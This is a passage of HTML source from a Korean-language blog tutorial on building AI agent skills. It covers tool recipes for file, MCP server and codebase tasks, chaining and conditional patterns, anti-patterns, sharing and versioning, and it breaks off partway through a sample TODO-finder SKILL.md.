&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;명확한 목적&lt;/b&gt;: 한 문장으로 설명 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;도구 우선&lt;/b&gt;: 설명보다 도구 호출 먼저&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12: 실전 레시피 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 실전 레시피&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;자주 사용되는 skill 패턴과 레시피다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;레시피 1: 파일 조작&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;파일을 읽고, 쓰고, 수정하는 기본적인 skill이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 파일 조작 skill 예시&lt;/div&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;도구:
- read_file(path): 파일 내용 읽기
- write_file(path, content): 파일에 내용 쓰기
- edit_file(path, old_text, new_text): 파일 내용 편집

사용 예시:
1. read_file 도구로 config.yaml 읽기
2. edit_file 도구로 설정 수정
3. write_file 도구로 변경사항 저장&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;레시피 2: MCP 서버 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP(Model Context Protocol) 서버를 관리하는 skill이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// MCP 서버 관리 skill 예시&lt;/div&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;도구:
- list_mcp_servers(): 설치된 MCP 서버 목록
- add_mcp_server(name, config): MCP 서버 추가
- remove_mcp_server(name): MCP 서버 제거
- test_mcp_server(name): 서버 연결 테스트

사용 예시:
1. list_mcp_servers 도구로 현재 서버 확인
2. add_mcp_server 도구로 새 서버 추가
3. test_mcp_server 도구로 연결 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;레시피 3: 파일 검색&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드베이스에서 파일을 검색하는 skill이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 파일 검색 skill 예시&lt;/div&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;도구:
- search_files(query, path): 파일 내용 검색
- find_files(pattern, path): 파일 이름으로 검색
- grep_files(regex, path): 정규식으로 검색

사용 예시:
1. search_files 도구로 &quot;TODO&quot; 문자열 검색
2. find_files 도구로 &quot;*.test.ts&quot; 파일 찾기
3. grep_files 도구로 함수 정의 패턴 찾기&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;레시피 4: 코드 베이스 탐색&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;대규모 코드베이스를 탐색하는 skill이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 코드베이스 탐색 skill 예시&lt;/div&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;도구:
- explore_directory(path): 디렉토리 구조 탐색
- analyze_imports(file_path): import 의존성 분석
- find_usages(symbol, path): 심볼 사용처 찾기
- get_call_graph(file_path): 함수 호출 그래프 생성

사용 예시:
1. explore_directory 도구로 프로젝트 구조 파악
2. analyze_imports 도구로 의존성 확인
3. find_usages 도구로 함수 사용처 추적&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;레시피를 조합하여 더 복잡한 skill 만들기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;각 도구는 독립적으로 테스트 가능하도록 설계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;명확한 사용 예시를 항상 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 13: 고급 패턴과 베스트 프랙티스 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;13. 고급 패턴과 베스트 프랙티스&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;더 복잡한 skill을 작성하기 위한 고급 패턴이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 1: 도구 체이닝&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 도구를 순차적으로 호출하는 패턴이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 도구 체이닝 예시&lt;/div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// 체이닝 순서:
1. read_file 도구로 파일 읽기
2. analyze_code 도구로 분석
3. generate_report 도구로 보고서 생성
4. write_file 도구로 보고서 저장

각 도구의 출력이 다음 도구의 입력이 된다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;패턴 2: 조건부 도구 호출&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;상황에 따라 다른 도구를 호출하는 패턴이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 조건부 도구 호출 예시&lt;/div&gt;
&lt;pre class=&quot;delphi&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// 파일 확장자에 따른 조건부 호출:
if (file.endswith('.ts')) {
    analyze_typescript_file 도구 호출
} else if (file.endswith('.py')) {
    analyze_python_file 도구 호출
} else {
    generic_file_analysis 도구 호출
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;베스트 프랙티스&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;베스트 프랙티스&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;도구 최소화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;필수적인 도구만 포함&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;복잡성 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;명확한 에러 처리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;에러 메시지 구체화&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;디버깅 용이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;문서화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;각 도구의 사용 예시 포함&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사용성 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;테스트 가능성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;각 도구를 독립적으로 테스트 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;신뢰성 향상&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;멀티 에이전트 패턴 (Multi-Agent Pattern)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;복잡한 작업을 여러 전문화된 스킬로 분할하고, 각각이 특정 역할을 수행하게 하는 패턴이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e3f2fd; padding: 20px; border-radius: 12px; border-left: 5px solid #2196f3; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0d47a1; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;멀티 에이전트 패턴 사용 시기&lt;/h4&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업이 독립적&lt;/b&gt;: 서로 다른 모듈/서비스를 병렬로 처리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전문 분야 필요&lt;/b&gt;: 각 부분에 특화된 지식이 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;확장성 요구&lt;/b&gt;: 에이전트를 쉽게 추가/제거해야 할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;재귀 패턴 (Recursive Pattern)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬이 자기 자신을 호출하여 문제를 더 작은 하위 문제로 분할하고 해결하는 패턴이다. 주로 복잡한 디렉터리 구조, 중첩된 설정 처리에 사용된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상태 유지 패턴 (Stateful Pattern)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬 실행 간에 상태를 유지하여, 이전 실행의 결과를 참조하거나 점진적으로 작업을 수행하는 패턴이다. 장기 실행 작업, 점진적 롤아웃에 적합하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스트리밍 패턴 (Streaming Pattern)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;대량의 데이터를 처리할 때 결과를 기다리지 않고, 실시간으로 결과를 스트리밍하여 사용자에게 즉각적인 피드백을 제공하는 패턴이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;안티패턴 (Anti-Patterns)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;피해야 할 일반적인 실수들과 그 해결책이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #ffebee;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;안티패턴&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;문제&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ef9a9a; font-weight: 600;&quot;&gt;대안&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;&lt;b&gt;God Skill&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;모든 것을 하나의 스킬에 구현&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;단일 책임 스킬로 분할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;&lt;b&gt;Silent Failures&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;오류가 조용히 무시됨&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;명시적 에러 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;&lt;b&gt;No Validation&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;입력 검증 없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ef9a9a;&quot;&gt;파라미터 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #856404; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;안티패턴 감지 체크리스트&lt;/h4&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;스킬이 10개 이상의 단계를 가지고 있는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;환경별로 다른 버전의 스킬이 있는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;오류 발생 시 원인을 파악하기 어려운가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;다른 프로젝트에서 재사용하기 어려운가?&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;위 질문 중 하나라도 &quot;예&quot;라면 리팩토링을 고려하세요.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 14: 스킬 배포와 공유 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;14. 스킬 배포와 공유&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스킬을 개발한 후에는 팀원들과 공유하거나 커뮤니티에 공개할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;배포 채널 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e3f2fd;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #90caf9; font-weight: 600;&quot;&gt;배포 채널&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #90caf9; font-weight: 600;&quot;&gt;적합한 경우&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #90caf9; font-weight: 600;&quot;&gt;장점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;Git 저장소&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;팀 내부 공유, 오픈소스&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;버전 관리, 협업 용이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;로컬 파일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;개인용, 빠른 테스트&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;간단함, 즉시 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;&lt;b&gt;팀 공유 스킬&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;소규모 팀&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #90caf9;&quot;&gt;Git으로 관리하거나 내부 공유 폴더 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시맨틱 버전 관리 (Semantic Versioning)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;스킬 버전은 &lt;b&gt;시맨틱 버전 관리(SemVer)&lt;/b&gt;를 따른다. 형식: &lt;code&gt;MAJOR.MINOR.PATCH&lt;/code&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #fff9e6;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;버전 변화&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;1.0.0 &amp;rarr; 2.0.0&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;호환되지 않는 변경&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;파라미터 형식 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffef5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;1.0.0 &amp;rarr; 1.1.0&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;하위 호환 기능 추가&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;--verbose 플래그 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;1.0.0 &amp;rarr; 1.0.1&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;하위 호환 버그 수정&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;오타 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 공유 구조&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;my-shared-skill/
├── skill.md                 # 스킬 정의 (필수)
├── README.md                # 사용자 문서 (권장)
├── CHANGELOG.md             # 변경 이력 (권장)
├── LICENSE                  # 라이선스 (권장)
├── examples/                # 사용 예시
│   ├── basic-usage.md
│   └── advanced-usage.md
└── tests/                   # 테스트
    └── test-skill.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 20px; border-radius: 12px; border-left: 5px solid #28a745; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #155724; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;커뮤니티 스킬 성공 요소&lt;/h4&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;명확한 문서화&lt;/b&gt;: 설치부터 고급 사용법까지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;빠른 응답&lt;/b&gt;: 이슈와 PR에 신속하게 대응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;개방적 태도&lt;/b&gt;: 기여를 환영하고 격려&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;지속적 개선&lt;/b&gt;: 피드백을 반영하여 발전&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 15: 초급자를 위한 실전 예시 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;15. 초급자를 위한 실전 예시&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 1: 간단한 TODO 관리 스킬&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;&quot;TODO 찾아줘&quot;, &quot;할 일 정리해줘&quot; 같은 요청에 자동으로 응답하는 스킬이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// todo-finder/SKILL.md&lt;/div&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;---
name: todo-finder
description: &quot;Find and organize TODO comments in codebase. Use when user asks to find TODOs, organize tasks, or list pending items. Keywords: TODO, todo, 할일, 정리, 찾기, organize tasks.&quot;
---

# TODO Finder

## Purpose
코드베이스에서 TODO 주석을 찾아서 정리해 드린다.

## How It Works

